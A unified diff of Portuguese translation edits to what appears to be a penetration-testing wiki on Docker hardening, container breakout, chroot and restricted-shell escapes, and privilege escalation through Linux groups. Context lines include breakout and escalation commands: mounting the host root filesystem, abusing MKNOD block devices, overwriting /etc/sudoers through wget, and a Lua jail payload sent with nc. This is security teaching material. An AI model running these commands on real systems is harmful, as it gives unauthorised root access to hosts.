- **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, pode ser potencialmente explorado para acesso não autorizado.
|
||||
|
||||
**Queda de Capacidades**
|
||||
|
||||
@ -117,7 +117,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
||||
**Seccomp**
|
||||
|
||||
Está habilitado por padrão no Docker. Ajuda a **limitar ainda mais as syscalls** que o processo pode chamar.\
|
||||
O **perfil padrão do Seccomp do Docker** pode ser encontrado em [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
O **perfil padrão do Docker Seccomp** pode ser encontrado em [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
|
||||
@ -129,9 +129,9 @@ Isso permitirá reduzir capacidades, syscalls, acesso a arquivos e pastas...
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** são um recurso do kernel Linux que **particiona recursos do kernel** de modo que um conjunto de **processos** **vê** um conjunto de **recursos**, enquanto **outro** conjunto de **processos** vê um **conjunto diferente** de recursos. O recurso funciona tendo o mesmo namespace para um conjunto de recursos e processos, mas esses namespaces se referem a recursos distintos. Recursos podem existir em múltiplos espaços.
|
||||
**Namespaces** são um recurso do kernel Linux que **particiona recursos do kernel** de modo que um conjunto de **processos** **vê** um conjunto de **recursos**, enquanto **outro** conjunto de **processos** vê um **conjunto diferente** de recursos. O recurso funciona tendo o mesmo namespace para um conjunto de recursos e processos, mas esses namespaces se referem a recursos distintos. Os recursos podem existir em múltiplos espaços.
|
||||
|
||||
O Docker faz uso dos seguintes Namespaces do kernel Linux para alcançar a isolação de Contêineres:
|
||||
O Docker faz uso dos seguintes Namespaces do kernel Linux para alcançar a isolação de Containers:
|
||||
|
||||
- pid namespace
|
||||
- mount namespace
|
||||
@ -148,8 +148,8 @@ namespaces/
|
||||
|
||||
### cgroups
|
||||
|
||||
O recurso do kernel Linux **cgroups** fornece a capacidade de **restringir recursos como cpu, memória, io, largura de banda de rede entre** um conjunto de processos. O Docker permite criar Contêineres usando o recurso cgroup, que permite o controle de recursos para o Contêiner específico.\
|
||||
A seguir está um Contêiner criado com memória de espaço de usuário limitada a 500m, memória do kernel limitada a 50m, compartilhamento de cpu a 512, blkioweight a 400. O compartilhamento de CPU é uma proporção que controla o uso de CPU do Contêiner. Tem um valor padrão de 1024 e uma faixa entre 0 e 1024. Se três Contêineres tiverem o mesmo compartilhamento de CPU de 1024, cada Contêiner pode usar até 33% da CPU em caso de contenção de recursos de CPU. blkio-weight é uma proporção que controla o IO do Contêiner. Tem um valor padrão de 500 e uma faixa entre 10 e 1000.
|
||||
O recurso do kernel Linux **cgroups** fornece a capacidade de **restringir recursos como cpu, memória, io, largura de banda de rede entre** um conjunto de processos. O Docker permite criar Containers usando o recurso cgroup, que permite o controle de recursos para o Container específico.\
|
||||
A seguir está um Container criado com memória de espaço de usuário limitada a 500m, memória do kernel limitada a 50m, compartilhamento de cpu a 512, blkioweight a 400. O compartilhamento de CPU é uma proporção que controla o uso de CPU do Container. Tem um valor padrão de 1024 e uma faixa entre 0 e 1024. Se três Containers tiverem o mesmo compartilhamento de CPU de 1024, cada Container pode usar até 33% da CPU em caso de contenção de recursos de CPU. blkio-weight é uma proporção que controla o IO do Container. Tem um valor padrão de 500 e uma faixa entre 10 e 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
@ -169,7 +169,7 @@ cgroups.md
|
||||
|
||||
As capacidades permitem **um controle mais fino sobre as capacidades que podem ser permitidas** para o usuário root. O Docker usa o recurso de capacidade do kernel Linux para **limitar as operações que podem ser realizadas dentro de um Container**, independentemente do tipo de usuário.
|
||||
|
||||
Quando um contêiner docker é executado, o **processo descarta capacidades sensíveis que o processo poderia usar para escapar da isolação**. Isso tenta garantir que o processo não consiga realizar ações sensíveis e escapar:
|
||||
Quando um contêiner docker é executado, o **processo descarta capacidades sensíveis que o processo poderia usar para escapar do isolamento**. Isso tenta garantir que o processo não consiga realizar ações sensíveis e escapar:
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
@ -197,7 +197,7 @@ apparmor.md
|
||||
- **Aplicação de Políticas**: Ele aplica políticas de segurança que definem quais ações um rótulo de processo pode realizar em outros rótulos dentro do sistema.
|
||||
- **Rótulos de Processos de Contêiner**: Quando os mecanismos de contêiner iniciam processos de contêiner, eles geralmente recebem um rótulo SELinux confinado, comumente `container_t`.
|
||||
- **Rotulagem de Arquivos dentro de Contêineres**: Arquivos dentro do contêiner geralmente são rotulados como `container_file_t`.
|
||||
- **Regras de Política**: A política SELinux garante principalmente que processos com o rótulo `container_t` só possam interagir (ler, escrever, executar) com arquivos rotulados como `container_file_t`.
|
||||
- **Regras de Política**: A política do SELinux garante principalmente que processos com o rótulo `container_t` só possam interagir (ler, escrever, executar) com arquivos rotulados como `container_file_t`.
|
||||
|
||||
Esse mecanismo garante que, mesmo que um processo dentro de um contêiner seja comprometido, ele esteja confinado a interagir apenas com objetos que tenham os rótulos correspondentes, limitando significativamente o potencial de dano de tais compromissos.
|
||||
|
||||
@ -269,17 +269,17 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
Para mais opções **`--security-opt`** consulte: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
Para mais opções de **`--security-opt`** consulte: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Outras Considerações de Segurança
|
||||
|
||||
### Gerenciamento de Segredos: Melhores Práticas
|
||||
|
||||
É crucial evitar embutir segredos diretamente em imagens Docker ou usar variáveis de ambiente, pois esses métodos expõem suas informações sensíveis a qualquer pessoa com acesso ao contêiner através de comandos como `docker inspect` ou `exec`.
|
||||
É crucial evitar embutir segredos diretamente nas imagens do Docker ou usar variáveis de ambiente, pois esses métodos expõem suas informações sensíveis a qualquer pessoa com acesso ao contêiner através de comandos como `docker inspect` ou `exec`.
|
||||
|
||||
**Volumes Docker** são uma alternativa mais segura, recomendada para acessar informações sensíveis. Eles podem ser utilizados como um sistema de arquivos temporário na memória, mitigando os riscos associados ao `docker inspect` e ao registro. No entanto, usuários root e aqueles com acesso `exec` ao contêiner ainda podem acessar os segredos.
|
||||
**Volumes do Docker** são uma alternativa mais segura, recomendada para acessar informações sensíveis. Eles podem ser utilizados como um sistema de arquivos temporário na memória, mitigando os riscos associados ao `docker inspect` e ao registro. No entanto, usuários root e aqueles com acesso `exec` ao contêiner ainda podem acessar os segredos.
|
||||
|
||||
**Segredos Docker** oferecem um método ainda mais seguro para lidar com informações sensíveis. Para instâncias que requerem segredos durante a fase de construção da imagem, **BuildKit** apresenta uma solução eficiente com suporte para segredos em tempo de construção, aumentando a velocidade de construção e fornecendo recursos adicionais.
|
||||
**Segredos do Docker** oferecem um método ainda mais seguro para lidar com informações sensíveis. Para instâncias que requerem segredos durante a fase de construção da imagem, **BuildKit** apresenta uma solução eficiente com suporte para segredos em tempo de construção, aumentando a velocidade de construção e fornecendo recursos adicionais.
|
||||
|
||||
Para aproveitar o BuildKit, ele pode ser ativado de três maneiras:
|
||||
|
||||
@ -310,7 +310,7 @@ Em ambientes Kubernetes, segredos são suportados nativamente e podem ser gerenc
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** é um kernel de aplicativo, escrito em Go, que implementa uma parte substancial da superfície do sistema Linux. Inclui um runtime da [Open Container Initiative (OCI)](https://www.opencontainers.org) chamado `runsc` que fornece uma **fronteira de isolamento entre o aplicativo e o kernel do host**. O runtime `runsc` se integra com Docker e Kubernetes, facilitando a execução de contêineres em sandbox.
|
||||
**gVisor** é um kernel de aplicativo, escrito em Go, que implementa uma parte substancial da superfície do sistema Linux. Inclui um runtime da [Open Container Initiative (OCI)](https://www.opencontainers.org) chamado `runsc` que fornece uma **fronteira de isolamento entre o aplicativo e o kernel do host**. O runtime `runsc` se integra ao Docker e Kubernetes, facilitando a execução de contêineres em sandbox.
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
@ -328,11 +328,11 @@ https://katacontainers.io/
|
||||
|
||||
- **Não use a flag `--privileged` ou monte um** [**socket Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket docker permite a criação de contêineres, então é uma maneira fácil de ter controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
|
||||
- **Não execute como root dentro do contêiner. Use um** [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespaces de usuário**](https://docs.docker.com/engine/security/userns-remap/)**.** O root no contêiner é o mesmo que no host, a menos que seja remapeado com namespaces de usuário. É apenas levemente restrito por, principalmente, namespaces do Linux, capacidades e cgroups.
|
||||
- [**Remova todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas aquelas que são necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de nenhuma capacidade e adicioná-las aumenta o escopo de um ataque potencial.
|
||||
- [**Remova todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas aquelas que são necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de capacidades e adicioná-las aumenta o escopo de um ataque potencial.
|
||||
- [**Use a opção de segurança “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que processos ganhem mais privilégios, por exemplo, através de binários suid.
|
||||
- [**Limite os recursos disponíveis para o contêiner**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limites de recursos podem proteger a máquina contra ataques de negação de serviço.
|
||||
- **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** perfis para restringir as ações e syscalls disponíveis para o contêiner ao mínimo necessário.
|
||||
- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa as suas próprias com base nelas. Não herde ou use imagens [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root, senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
|
||||
- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root, senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
|
||||
- **Reconstrua regularmente** suas imagens para **aplicar patches de segurança ao host e às imagens.**
|
||||
- Gerencie seus **segredos com sabedoria** para que seja difícil para o atacante acessá-los.
|
||||
- Se você **expor o daemon docker, use HTTPS** com autenticação de cliente e servidor.
|
||||
@ -351,7 +351,7 @@ docker-breakout-privilege-escalation/
|
||||
|
||||
## Bypass do Plugin de Autenticação do Docker
|
||||
|
||||
Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **bypass isso:**
|
||||
Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **contorná-lo:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -359,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
|
||||
## Fortalecendo o Docker
|
||||
|
||||
- A ferramenta [**docker-bench-security**](https://github.com/docker/docker-bench-security) é um script que verifica dezenas de melhores práticas comuns em torno da implantação de contêineres Docker em produção. Os testes são todos automatizados e são baseados no [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
- A ferramenta [**docker-bench-security**](https://github.com/docker/docker-bench-security) é um script que verifica dezenas de melhores práticas comuns em torno da implantação de contêineres Docker em produção. Os testes são todos automatizados e baseados no [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Você precisa executar a ferramenta a partir do host que executa o docker ou de um contêiner com privilégios suficientes. Descubra **como executá-la no README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Referências
|
||||
|
||||
@ -36,10 +36,10 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
||||
> [!TIP]
|
||||
> Caso o **docker socket esteja em um lugar inesperado**, você ainda pode se comunicar com ele usando o comando **`docker`** com o parâmetro **`-H unix:///path/to/docker.sock`**
|
||||
|
||||
O daemon do Docker também pode estar [ouvindo em uma porta (por padrão 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou em sistemas baseados em Systemd, a comunicação com o daemon do Docker pode ocorrer através do socket do Systemd `fd://`.
|
||||
O daemon do Docker pode também [estar ouvindo em uma porta (por padrão 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou em sistemas baseados em Systemd, a comunicação com o daemon do Docker pode ocorrer através do socket do Systemd `fd://`.
|
||||
|
||||
> [!TIP]
|
||||
> Além disso, preste atenção aos sockets de tempo de execução de outros runtimes de alto nível:
|
||||
> Além disso, preste atenção aos sockets de runtime de outros runtimes de alto nível:
|
||||
>
|
||||
> - dockershim: `unix:///var/run/dockershim.sock`
|
||||
> - containerd: `unix:///run/containerd/containerd.sock`
|
||||
@ -113,7 +113,7 @@ E voilà! Agora você pode acessar o sistema de arquivos do host porque ele est
|
||||
|
||||
#### Montando Disco - Poc2
|
||||
|
||||
Dentro do contêiner, um atacante pode tentar obter mais acesso ao sistema operacional subjacente do host por meio de um volume hostPath gravável criado pelo cluster. Abaixo estão algumas coisas comuns que você pode verificar dentro do contêiner para ver se pode aproveitar esse vetor de ataque:
|
||||
Dentro do contêiner, um atacante pode tentar obter mais acesso ao sistema operacional subjacente do host por meio de um volume hostPath gravável criado pelo cluster. Abaixo estão algumas coisas comuns que você pode verificar dentro do contêiner para ver se você pode aproveitar esse vetor de ataque:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
@ -351,7 +351,7 @@ bash -p #From non priv inside mounted folder
|
||||
Se você tiver acesso como **root dentro de um container** e tiver **escapado como um usuário não privilegiado para o host**, você pode abusar de ambas as shells para **privesc dentro do host** se você tiver a capacidade MKNOD dentro do container (é por padrão) como [**explicado neste post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Com tal capacidade, o usuário root dentro do container é permitido **criar arquivos de dispositivo de bloco**. Arquivos de dispositivo são arquivos especiais que são usados para **acessar hardware subjacente e módulos do kernel**. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dá acesso para **ler os dados brutos no disco do sistema**.
|
||||
|
||||
O Docker protege contra o uso indevido de dispositivos de bloco dentro dos containers, aplicando uma política de cgroup que **bloqueia operações de leitura/gravação de dispositivos de bloco**. No entanto, se um dispositivo de bloco for **criado dentro do container**, ele se torna acessível de fora do container através do diretório **/proc/PID/root/**. Esse acesso requer que o **proprietário do processo seja o mesmo** tanto dentro quanto fora do container.
|
||||
O Docker protege contra o uso indevido de dispositivos de bloco dentro de containers, aplicando uma política de cgroup que **bloqueia operações de leitura/gravação de dispositivos de bloco**. No entanto, se um dispositivo de bloco for **criado dentro do container**, ele se torna acessível de fora do container através do diretório **/proc/PID/root/**. Esse acesso requer que o **proprietário do processo seja o mesmo** tanto dentro quanto fora do container.
|
||||
|
||||
Exemplo de **exploração** deste [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
@ -434,13 +434,13 @@ Como nos seguintes exemplos:
|
||||
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
|
||||
|
||||
Você também poderá acessar **serviços de rede vinculados ao localhost** dentro do host ou até mesmo acessar as **permissões de metadados do nó** (que podem ser diferentes das que um contêiner pode acessar).
|
||||
Você também poderá acessar **serviços de rede vinculados ao localhost** dentro do host ou até mesmo acessar as **permissões de metadados do nó** (que podem ser diferentes daquelas que um contêiner pode acessar).
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Com `hostIPC=true`, você ganha acesso aos recursos de comunicação entre processos (IPC) do host, como **memória compartilhada** em `/dev/shm`. Isso permite leitura/gravação onde os mesmos recursos IPC são usados por outros processos do host ou do pod. Use `ipcs` para inspecionar esses mecanismos IPC mais a fundo.
|
||||
Com `hostIPC=true`, você ganha acesso aos recursos de comunicação entre processos (IPC) do host, como **memória compartilhada** em `/dev/shm`. Isso permite ler/escrever onde os mesmos recursos IPC são usados por outros processos do host ou do pod. Use `ipcs` para inspecionar esses mecanismos IPC mais a fundo.
|
||||
|
||||
- **Inspecionar /dev/shm** - Procure por quaisquer arquivos nesta localização de memória compartilhada: `ls -la /dev/shm`
|
||||
- **Inspecionar instalações IPC existentes** – Você pode verificar se alguma instalação IPC está sendo usada com `/usr/bin/ipcs`. Verifique com: `ipcs -a`
|
||||
@ -455,7 +455,7 @@ cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### Abuso de namespace de usuário via symlink
|
||||
|
||||
A segunda técnica explicada no post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de montagens vinculadas com namespaces de usuário, para afetar arquivos dentro do host (neste caso específico, deletar arquivos).
|
||||
A segunda técnica explicada no post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de montagens bind com namespaces de usuário, para afetar arquivos dentro do host (neste caso específico, deletar arquivos).
|
||||
|
||||
## CVEs
|
||||
|
||||
|
||||
@ -35,7 +35,7 @@ cpu nbd0 pts stdout tty27
|
||||
|
||||
### Sistemas de arquivos do kernel somente leitura
|
||||
|
||||
Os sistemas de arquivos do kernel fornecem um mecanismo para um processo modificar o comportamento do kernel. No entanto, quando se trata de processos de contêiner, queremos impedir que eles façam quaisquer alterações no kernel. Portanto, montamos sistemas de arquivos do kernel como **somente leitura** dentro do contêiner, garantindo que os processos do contêiner não possam modificar o kernel.
|
||||
Os sistemas de arquivos do kernel fornecem um mecanismo para que um processo modifique o comportamento do kernel. No entanto, quando se trata de processos de contêiner, queremos impedir que eles façam quaisquer alterações no kernel. Portanto, montamos sistemas de arquivos do kernel como **somente leitura** dentro do contêiner, garantindo que os processos do contêiner não possam modificar o kernel.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Dentro do contêiner padrão"}}
|
||||
@ -86,6 +86,7 @@ mount | grep /proc.*tmpfs
|
||||
|
||||
Os mecanismos de contêiner lançam os contêineres com um **número limitado de capacidades** para controlar o que acontece dentro do contêiner por padrão. Os **privilegiados** têm **todas** as **capacidades** acessíveis. Para aprender sobre capacidades, leia:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
{{#endref}}
|
||||
@ -147,7 +148,7 @@ Seccomp_filters: 0
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
Além disso, note que quando o Docker (ou outros CRIs) são usados em um cluster de **Kubernetes**, o **filtro seccomp está desativado por padrão**.
|
||||
Além disso, note que quando o Docker (ou outros CRIs) são usados em um cluster **Kubernetes**, o **filtro seccomp está desativado por padrão**.
|
||||
|
||||
### AppArmor
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Um cgroup namespace é um recurso do kernel Linux que fornece **isolamento de hierarquias de cgroup para processos em execução dentro de um namespace**. Cgroups, abreviação de **grupos de controle**, são um recurso do kernel que permite organizar processos em grupos hierárquicos para gerenciar e impor **limites sobre recursos do sistema** como CPU, memória e I/O.
|
||||
Um cgroup namespace é um recurso do kernel Linux que fornece **isolamento de hierarquias de cgroup para processos em execução dentro de um namespace**. Cgroups, abreviação de **control groups**, são um recurso do kernel que permite organizar processos em grupos hierárquicos para gerenciar e impor **limites sobre recursos do sistema** como CPU, memória e I/O.
|
||||
|
||||
Embora os cgroup namespaces não sejam um tipo de namespace separado como os outros que discutimos anteriormente (PID, mount, network, etc.), eles estão relacionados ao conceito de isolamento de namespace. **Cgroup namespaces virtualizam a visão da hierarquia de cgroup**, de modo que os processos em execução dentro de um cgroup namespace têm uma visão diferente da hierarquia em comparação com os processos em execução no host ou em outros namespaces.
|
||||
|
||||
@ -34,11 +34,11 @@ Ao montar uma nova instância do sistema de arquivos `/proc` se você usar o par
|
||||
|
||||
<summary>Erro: bash: fork: Não é possível alocar memória</summary>
|
||||
|
||||
Quando `unshare` é executado sem a opção `-f`, um erro é encontrado devido à forma como o Linux lida com novos namespaces de PID (ID do Processo). Os detalhes principais e a solução estão descritos abaixo:
|
||||
Quando `unshare` é executado sem a opção `-f`, um erro é encontrado devido à forma como o Linux lida com novos namespaces de PID (Identificação de Processo). Os detalhes principais e a solução estão descritos abaixo:
|
||||
|
||||
1. **Explicação do Problema**:
|
||||
|
||||
- O kernel do Linux permite que um processo crie novos namespaces usando a chamada de sistema `unshare`. No entanto, o processo que inicia a criação de um novo namespace de PID (referido como o processo "unshare") não entra no novo namespace; apenas seus processos filhos entram.
|
||||
- O kernel do Linux permite que um processo crie novos namespaces usando a chamada de sistema `unshare`. No entanto, o processo que inicia a criação de um novo namespace de PID (referido como o processo "unshare") não entra no novo namespace; apenas seus processos filhos o fazem.
|
||||
- Executar `%unshare -p /bin/bash%` inicia `/bin/bash` no mesmo processo que `unshare`. Consequentemente, `/bin/bash` e seus processos filhos estão no namespace de PID original.
|
||||
- O primeiro processo filho de `/bin/bash` no novo namespace se torna PID 1. Quando esse processo sai, ele aciona a limpeza do namespace se não houver outros processos, já que PID 1 tem o papel especial de adotar processos órfãos. O kernel do Linux então desabilitará a alocação de PID nesse namespace.
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ Geralmente, isso significa que para escapar você precisa ser root dentro do chr
|
||||
### Root + CWD
|
||||
|
||||
> [!WARNING]
|
||||
> Se você é **root** dentro de um chroot, você **pode escapar** criando **outro chroot**. Isso porque 2 chroots não podem coexistir (no Linux), então se você criar uma pasta e depois **criar um novo chroot** nessa nova pasta sendo **você fora dela**, agora você estará **fora do novo chroot** e, portanto, estará no FS.
|
||||
> Se você é **root** dentro de um chroot, você **pode escapar** criando **outro chroot**. Isso porque 2 chroots não podem coexistir (no Linux), então se você criar uma pasta e depois **criar um novo chroot** nessa nova pasta sendo **você fora dele**, agora você estará **fora do novo chroot** e, portanto, estará no FS.
|
||||
>
|
||||
> Isso ocorre porque geralmente o chroot NÃO move seu diretório de trabalho para o indicado, então você pode criar um chroot, mas estar fora dele.
|
||||
|
||||
@ -112,11 +112,11 @@ chroot(".");
|
||||
> FD pode ser passado através de Unix Domain Sockets, então:
|
||||
>
|
||||
> - Crie um processo filho (fork)
|
||||
> - Crie UDS para que pai e filho possam se comunicar
|
||||
> - Crie UDS para que o pai e o filho possam se comunicar
|
||||
> - Execute chroot no processo filho em uma pasta diferente
|
||||
> - No processo pai, crie um FD de uma pasta que está fora do novo chroot do processo filho
|
||||
> - Passe para o processo filho esse FD usando o UDS
|
||||
> - O processo filho muda de diretório para esse FD, e como está fora do seu chroot, ele escapará da prisão
|
||||
> - O processo filho muda o diretório para esse FD, e como está fora do seu chroot, ele escapará da prisão
|
||||
|
||||
### Root + Mount
|
||||
|
||||
@ -147,7 +147,7 @@ chroot(".");
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - Antigamente, os usuários podiam depurar seus próprios processos a partir de um processo deles mesmos... mas isso não é mais possível por padrão
|
||||
> - Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo deles mesmos... mas isso não é mais possível por padrão
|
||||
> - De qualquer forma, se for possível, você poderia ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap_sys_ptrace)).
|
||||
|
||||
## Bash Jails
|
||||
@ -202,7 +202,7 @@ Você pode sobrescrever, por exemplo, o arquivo sudoers.
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
### Outras truques
|
||||
### Outros truques
|
||||
|
||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
@ -251,7 +251,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
||||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
**Obter shell lua interativo**: Se você estiver dentro de um shell lua limitado, pode obter um novo shell lua (e, esperançosamente, ilimitado) chamando:
|
||||
**Obter shell lua interativo**: Se você estiver dentro de um shell lua limitado, você pode obter um novo shell lua (e, esperançosamente, ilimitado) chamando:
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
|
||||
@ -56,11 +56,11 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
```
|
||||
## Wheel Group
|
||||
|
||||
**Às vezes**, **por padrão** dentro do **/etc/sudoers** você pode encontrar esta linha:
|
||||
**Às vezes**, **por padrão** dentro do arquivo **/etc/sudoers** você pode encontrar esta linha:
|
||||
```
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Isso significa que **qualquer usuário que pertence ao grupo wheel pode executar qualquer coisa como sudo**.
|
||||
Isso significa que **qualquer usuário que pertença ao grupo wheel pode executar qualquer coisa como sudo**.
|
||||
|
||||
Se este for o caso, para **se tornar root você pode apenas executar**:
|
||||
```
|
||||
@ -76,7 +76,7 @@ Então, leia o arquivo e tente **quebrar algumas hashes**.
|
||||
|
||||
## Grupo de Funcionários
|
||||
|
||||
**staff**: Permite que usuários adicionem modificações locais ao sistema (`/usr/local`) sem precisar de privilégios de root (note que executáveis em `/usr/local/bin` estão na variável PATH de qualquer usuário, e podem "substituir" os executáveis em `/bin` e `/usr/bin` com o mesmo nome). Compare com o grupo "adm", que está mais relacionado a monitoramento/segurança. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
**staff**: Permite que usuários adicionem modificações locais ao sistema (`/usr/local`) sem precisar de privilégios de root (note que executáveis em `/usr/local/bin` estão na variável PATH de qualquer usuário, e podem "substituir" os executáveis em `/bin` e `/usr/bin` com o mesmo nome). Compare com o grupo "adm", que está mais relacionado à monitoramento/segurança. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
Em distribuições debian, a variável `$PATH` mostra que `/usr/local/` será executado com a maior prioridade, independentemente de você ser um usuário privilegiado ou não.
|
||||
```bash
|
||||
@ -167,7 +167,7 @@ Para **abrir** a **imagem bruta**, você pode usar **GIMP**, selecionar o arquiv
|
||||
|
||||
.png>)
|
||||
|
||||
Em seguida, modifique a Largura e Altura para as que são usadas na tela e verifique diferentes Tipos de Imagem (e selecione o que melhor mostra a tela):
|
||||
Em seguida, modifique a Largura e Altura para as usadas na tela e verifique diferentes Tipos de Imagem (e selecione o que melhor mostra a tela):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Grupo Docker
|
||||
|
||||
Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, de modo que, quando a instância inicia, ela carrega imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
|
||||
Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, então quando a instância inicia, ela carrega imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
|
||||
@ -20,7 +20,7 @@ Você também pode verificar a seguinte página para aprender **outras maneiras
|
||||
|
||||
### FreeIPA
|
||||
|
||||
